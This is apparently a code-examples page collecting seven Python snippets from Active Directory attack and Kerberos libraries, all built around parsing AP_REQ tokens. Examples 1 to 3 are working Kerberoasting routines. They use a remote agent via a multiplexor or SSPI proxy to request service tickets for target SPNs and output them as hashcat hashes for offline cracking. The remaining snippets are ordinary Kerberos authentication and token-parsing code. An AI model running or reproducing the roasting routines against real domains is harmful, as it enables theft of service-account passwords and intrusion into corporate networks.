Example #1
0
	async def kerberoast_multiplexor(self):
		try:
			from multiplexor.operator.external.sspi import KerberosSSPIClient
			from multiplexor.operator import MultiplexorOperator
		except ImportError as error:
			return None, Exception('Failed to import multiplexor module! You will need to install multiplexor to get this working!')

		try:
			ws_logger = logging.getLogger('websockets')
			ws_logger.setLevel(100)
			url_e = urlparse(self.kerb_url)
			agentid = url_e.path.replace('/','')
			operator = MultiplexorOperator(self.kerb_url)
			await operator.connect()
			#creating virtual sspi server
			for uid in self.targets_spn:
				try:
					server_info = await operator.start_sspi(agentid)
					#print(server_info)
					sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port'])
					#print(sspi_url)
					ksspi = KerberosSSPIClient(sspi_url)
					await ksspi.connect()

					apreq, err = await ksspi.authenticate(self.targets_spn[uid].get_formatted_pname())
					if err is not None:
						logger.debug('[SPN-MP] error occurred while roasting %s: %s' % (self.targets_spn[uid].get_formatted_pname(), err))
						continue
					unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
					aprep = AP_REQ.load(unwrap.data[2:]).native
					
					t = KerberoastTable.from_hash(self.ad_id, uid, TGSTicket2hashcat(aprep))
					self.session.add(t)

					self.total_targets_finished += 1
					if self.progress_queue is not None:
						msg = GathererProgress()
						msg.type = GathererProgressType.KERBEROAST
						msg.msg_type = MSGTYPE.PROGRESS 
						msg.adid = self.ad_id
						msg.domain_name = self.domain_name
						msg.total = self.total_targets
						msg.total_finished = self.total_targets_finished
						msg.step_size = 1
						await self.progress_queue.put(msg)

				except Exception as e:
					logger.debug('[SPN-MP] Error while roasting %s. %s' % (uid, e))
				finally:
					try:
						await ksspi.disconnect()
					except:
						pass

			self.session.commit()
		except Exception as e:
			return None, e
Example #2
0
async def spnmultiplexor(args):
	try:
		from multiplexor.operator.external.sspi import KerberosSSPIClient
		from multiplexor.operator import MultiplexorOperator
	except ImportError as error:
		print('Failed to import multiplexor module! You will need to install multiplexor to get this working!')

	logger = logging.getLogger('websockets')
	logger.setLevel(100)
	if args.verbose > 2:
		logger.setLevel(logging.INFO)

	try:
		logging.debug('[SPN-MP] input URL: %s' % args.mp_url)
		url_e = urlparse(args.mp_url)
		agentid = url_e.path.replace('/','')
		logging.debug('[SPN-MP] agentid: %s' % agentid)

		targets = get_targets_from_file(args)
		targets += get_target_from_args(args)
		if len(targets) == 0:
			raise Exception('No targets were specified! Either use target file or specify target via cmdline')
		
		logging.debug('[SPN-MP] loaded %s targets' % len(targets))
		operator = MultiplexorOperator(args.mp_url)
		await operator.connect()
		#creating virtual sspi server
		results = []
		for target in targets:
			server_info = await operator.start_sspi(agentid)
			#print(server_info)
			sspi_url = 'ws://%s:%s' % (server_info['listen_ip'], server_info['listen_port'])
			#print(sspi_url)
			ksspi = KerberosSSPIClient(sspi_url)
			await ksspi.connect()

			apreq, err = await ksspi.authenticate(target.get_formatted_pname())
			if err is not None:
				logging.debug('[SPN-MP] error occurred while roasting %s: %s' % (target.get_formatted_pname(), err))
				continue
			unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
			aprep = AP_REQ.load(unwrap.data[2:]).native
			results.append(TGSTicket2hashcat(aprep))

		if args.out_file:
			with open(args.out_file, 'w', newline = '') as f:
				for thash in results:
					f.write(thash + '\r\n')

		else:
			for thash in results:
				print(thash)

	except Exception as e:
		logging.exception('[SPN-MP] exception!')
Example #3
0
    async def kerberoast_sspiproxy(self):
        try:
            from wsnet.operator.sspiproxy import WSNETSSPIProxy

            url = self.kerb_url
            agentid = None
            o = urlparse(self.kerb_url)
            if o.query:
                q = parse_qs(o.query)
                agentid = q.get('agentid', [None])[0]
                if agentid is not None:
                    agentid = bytes.fromhex(agentid)

            for uid in self.targets_spn:
                if self.targets_spn[uid].get_formatted_pname().lower(
                ).startswith('krbtgt'):
                    continue
                sspi = WSNETSSPIProxy(url, agentid)
                status, ctxattr, apreq, err = await sspi.authenticate(
                    'KERBEROS',
                    '',
                    self.targets_spn[uid].get_formatted_pname(),
                    3,
                    2048,
                    authdata=b'')
                if err is not None:
                    print(err.__traceback__)
                    print('Failed to get ticket for %s Reason: %s' %
                          (self.targets_spn[uid].get_formatted_pname(),
                           str(err)))
                    continue

                unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
                aprep = AP_REQ.load(unwrap.data[2:]).native
                t = KerberoastTable.from_hash(self.ad_id, uid,
                                              TGSTicket2hashcat(aprep))
                self.db_session.add(t)

                self.total_targets_finished += 1
                if self.progress_queue is not None:
                    msg = GathererProgress()
                    msg.type = GathererProgressType.KERBEROAST
                    msg.msg_type = MSGTYPE.PROGRESS
                    msg.adid = self.ad_id
                    msg.domain_name = self.domain_name
                    msg.total = self.total_targets
                    msg.total_finished = self.total_targets_finished
                    msg.step_size = 1
                    await self.progress_queue.put(msg)

            self.db_session.commit()
        except Exception as e:
            return None, e
Example #4
0
    async def authenticate(self,
                           authData=None,
                           flags=None,
                           seq_number=0,
                           cb_data=None):
        try:
            status, ctxattr, apreq, err = await self.sspi.authenticate(
                'KERBEROS',
                '',
                self.settings.target.to_target_string(),
                3,
                self.flags.value,
                authdata=b'')
            if err is not None:
                raise err

            self.flags = ISC_REQ(ctxattr)

            self.session_key, err = await self.sspi.get_sessionkey()
            if err is not None:
                return None, None, err

            unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
            aprep = AP_REQ.load(unwrap.data[2:]).native
            subkey = Key(aprep['ticket']['enc-part']['etype'],
                         self.session_key)
            self.gssapi = get_gssapi(subkey)

            if aprep['ticket']['enc-part']['etype'] != 23:
                if ISC_REQ.CONFIDENTIALITY in self.flags:
                    raw_seq_data, err = await self.sspi.get_sequenceno()
                    if err is not None:
                        return None, None, err
                    self.seq_number = GSSWrapToken.from_bytes(
                        raw_seq_data[16:]).SND_SEQ

            return unwrap.data[2:], False, None
        except Exception as e:
            return None, None, e
Example #5
0
    async def authenticate(self,
                           authData=None,
                           flags=None,
                           seq_number=0,
                           cb_data=None):
        #authdata is only for api compatibility reasons
        if self.ksspi is None:
            await self.start_remote_kerberos()
        try:
            apreq, res = await self.ksspi.authenticate(
                self.settings.target.to_target_string(),
                flags=str(self.flags.value))
            #print('MULTIPLEXOR KERBEROS SSPI, APREQ: %s ERROR: %s' % (apreq, res))
            if res is not None:
                return None, None, res

            # here it seems like we get the full token not just the apreq data...
            # so we need to discard the layers

            self.session_key, err = await self.ksspi.get_session_key()
            if err is not None:
                return None, None, err

            unwrap = KRB5_MECH_INDEP_TOKEN.from_bytes(apreq)
            aprep = AP_REQ.load(unwrap.data[2:]).native
            subkey = Key(aprep['ticket']['enc-part']['etype'],
                         self.session_key)
            self.gssapi = get_gssapi(subkey)

            if aprep['ticket']['enc-part']['etype'] != 23:
                raw_seq_data, err = await self.ksspi.get_seq_number()
                if err is not None:
                    return None, None, err
                self.seq_number = GSSWrapToken.from_bytes(
                    raw_seq_data[16:]).SND_SEQ

            return unwrap.data[2:], False, res
        except Exception as e:
            return None, None, e
Example #6
0
    def from_buffer(buff):
        t = PKU2U_TOKEN()
        t_hdr = buff.tell()
        buff.read(1)  # 0x60
        total_length = cl_buff(buff)
        buff.read(1)  # 0x06
        total_length += buff.tell() - t_hdr - 1
        oid_length = cl_buff(buff)
        t_oid = buff.read(oid_length)
        t.tok_id = PKU2U_TOKEN_TYPE(buff.read(2))
        t_data = buff.read(total_length - buff.tell())
        #t.inner_token_raw = t_data

        if t.tok_id == PKU2U_TOKEN_TYPE.KRB_AS_REQ:
            t.inner_token = AS_REQ.load(t_data)
        elif t.tok_id == PKU2U_TOKEN_TYPE.KRB_AS_REP:
            t.inner_token = AS_REP.load(t_data)
        elif t.tok_id == PKU2U_TOKEN_TYPE.KRB_AP_REQ:
            t.inner_token = AP_REQ.load(t_data)
        elif t.tok_id == PKU2U_TOKEN_TYPE.KRB_AP_REP:
            t.inner_token = AP_REP.load(t_data)
        else:
            t.inner_token = t_data
        return t
Example #7
0
    async def authenticate(self,
                           authData=None,
                           flags=None,
                           seq_number=0,
                           cb_data=None):
        """
		This function is called (multiple times depending on the flags) to perform authentication. 
		"""
        try:
            if self.iterations == 0:
                self.ksspi = KerberosMSLDAPSSPI(domain=self.domain,
                                                username=self.username,
                                                password=self.password)
                token, self.actual_ctx_flags = self.ksspi.get_ticket_for_spn(
                    self.spn, ctx_flags=self.flags)
                self.iterations += 1

                if ISC_REQ.MUTUAL_AUTH in self.actual_ctx_flags or ISC_REQ.USE_DCE_STYLE in self.actual_ctx_flags:
                    #in these cases continuation is needed
                    return token, True, None

                else:
                    #no mutual or dce auth will take one step only
                    _, err = self.get_session_key()
                    if err is not None:
                        return None, None, err
                    apreq = AP_REQ.load(token).native
                    subkey = Key(apreq['ticket']['enc-part']['etype'],
                                 self.session_key)
                    self.gssapi = get_gssapi(subkey)
                    self.get_seq_number()

                    return token, False, None

            else:
                adata = authData[16:]
                if ISC_REQ.USE_DCE_STYLE in self.actual_ctx_flags:
                    adata = authData
                token, self.actual_ctx_flags = self.ksspi.get_ticket_for_spn(
                    self.spn,
                    ctx_flags=self.actual_ctx_flags,
                    token_data=adata)

                if ISC_REQ.USE_DCE_STYLE in self.actual_ctx_flags:
                    #Using DCE style 3-legged auth
                    aprep = AP_REP.load(token).native
                else:
                    aprep = AP_REP.load(adata).native
                    subkey = Key(aprep['enc-part']['etype'],
                                 self.get_session_key())

                _, err = self.get_session_key()
                if err is not None:
                    return None, None, err

                _, err = self.get_seq_number()
                if err is not None:
                    return None, None, err

                subkey = Key(token['enc-part']['etype'], self.session_key)
                self.gssapi = get_gssapi(subkey)

                self.iterations += 1
                return token, False, None

        except Exception as e:
            return None, None, e